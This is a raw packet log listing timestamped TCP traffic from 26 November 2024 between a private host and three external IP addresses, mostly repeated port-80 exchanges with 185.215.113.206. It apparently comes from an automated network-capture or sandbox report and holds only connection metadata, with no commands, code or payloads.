Nov 26, 2024 16:31:43.624974012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.625026941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.625026941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.631671906 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.631762981 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.631788015 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.633164883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.633236885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.634546041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.634629011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.637965918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.637986898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.638040066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.638079882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.641591072 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.641668081 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.641690969 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.642957926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.643018961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.644351006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.644403934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.647772074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.647867918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.649508953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.649559975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.651055098 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.651135921 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.651141882 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.652273893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.652287960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.652338028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.652360916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.656740904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.656757116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.656788111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.656816959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.659941912 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.660026073 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.660032988 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.661499023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.661576033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.663053989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.663117886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.666843891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.666928053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.668329954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.668390036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.670386076 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.670470953 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.670476913 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.673271894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.673285961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.673333883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.673427105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.674686909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.674789906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.676430941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.676493883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.677905083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.677948952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.679768085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.679817915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.679862976 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.679908991 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.679915905 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.681225061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.681279898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.682746887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.682760954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.682773113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.682789087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.682813883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.684444904 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.684485912 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.684508085 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.684514999 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.684607029 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.685782909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.685796976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.685854912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.687237024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.687251091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.687290907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.688869953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.688935995 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.688956022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.690448999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.690463066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.690510035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.691871881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.691919088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.691975117 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.692023039 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.692028999 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.693773985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.693847895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.695555925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.695571899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.695616007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.697427034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.697485924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.697496891 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.697540998 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.697552919 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.699289083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.699304104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.699342966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.699369907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.701014042 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.701076031 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.701076984 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.701091051 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.701133966 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.701160908 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.701221943 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.701348066 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.701355934 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.701365948 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.701365948 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.701411009 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.702552080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.702565908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.702589035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.702600002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.702613115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.702647924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.703874111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.703895092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.703921080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.703934908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.705215931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.705233097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.705262899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.705285072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.706623077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.706638098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.706681013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.706707954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.708106995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.708126068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.708200932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.708201885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.709995031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.710007906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.710040092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.710045099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.710061073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.710134983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.711420059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.711503029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.712110996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.712122917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.712158918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.713747025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.713761091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.715342999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.715358019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.715390921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.715393066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.717032909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.717046976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.717099905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.722950935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.723669052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.723733902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.724603891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.724618912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.724711895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.724734068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.726206064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.726267099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.726907015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.727036953 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.728658915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.728713036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.729069948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.731117010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.731158972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.731667042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.731708050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.733717918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.734085083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.734128952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.736151934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.736238956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.736376047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.736418962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.738533020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.738578081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.738872051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.738987923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.740852118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.740897894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.741266012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.741305113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.743083000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.743685961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.744297981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.744360924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.744812965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.744860888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.746504068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.746601105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.746857882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.747286081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.748975039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.749023914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.749325991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.749392986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.751454115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.751610041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.751732111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.751769066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.753525972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.753571987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.753946066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.753985882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.755074978 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.755116940 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.755238056 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.755274057 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.755275965 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.755367994 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.755687952 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.755701065 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.755973101 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.755990028 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.756270885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.756314993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.756654024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.756841898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.758816957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.758862972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.759207010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.759643078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.761321068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.761686087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.761687040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.761995077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.763545990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.763617992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.763886929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.763926983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.765698910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.765747070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.766047001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.766103983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.796926022 CET	443	49850	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.797003984 CET	443	49850	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.797061920 CET	49850	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.803333044 CET	49850	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.803361893 CET	443	49850	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.834238052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.834299088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.834506989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.834561110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.834862947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.835241079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.836654902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.836782932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.836879969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.836925983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.844276905 CET	49865	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.844337940 CET	443	49865	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.844408035 CET	49865	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.844438076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.844497919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.844697952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.844749928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.844921112 CET	49865	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.844934940 CET	443	49865	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.848073959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.848128080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.848737001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.848786116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.849206924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.849255085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.851105928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.851152897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.851360083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.851403952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.853115082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.853167057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.853307962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.853359938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.855634928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.855695963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.855945110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.855988979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.857621908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.857664108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.857937098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.857980967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.858721018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.858766079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.858947992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.858992100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.859812975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.860074043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.860119104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.860158920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.860771894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.860811949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.861010075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.861043930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.861794949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.861841917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.862164974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.862202883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.862901926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.862938881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.863255024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.863293886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.864000082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.864042044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.864325047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.865134001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.865180016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.865490913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.866110086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.866154909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.866461992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.867183924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.867228985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.867651939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.867692947 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.868380070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.868606091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.868812084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.868860960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.869710922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.869745016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.870131016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.870184898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.870857954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.870903015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.871371031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.871413946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.871917963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.872065067 CET	49809	80	192.168.2.6	185.215.113.206
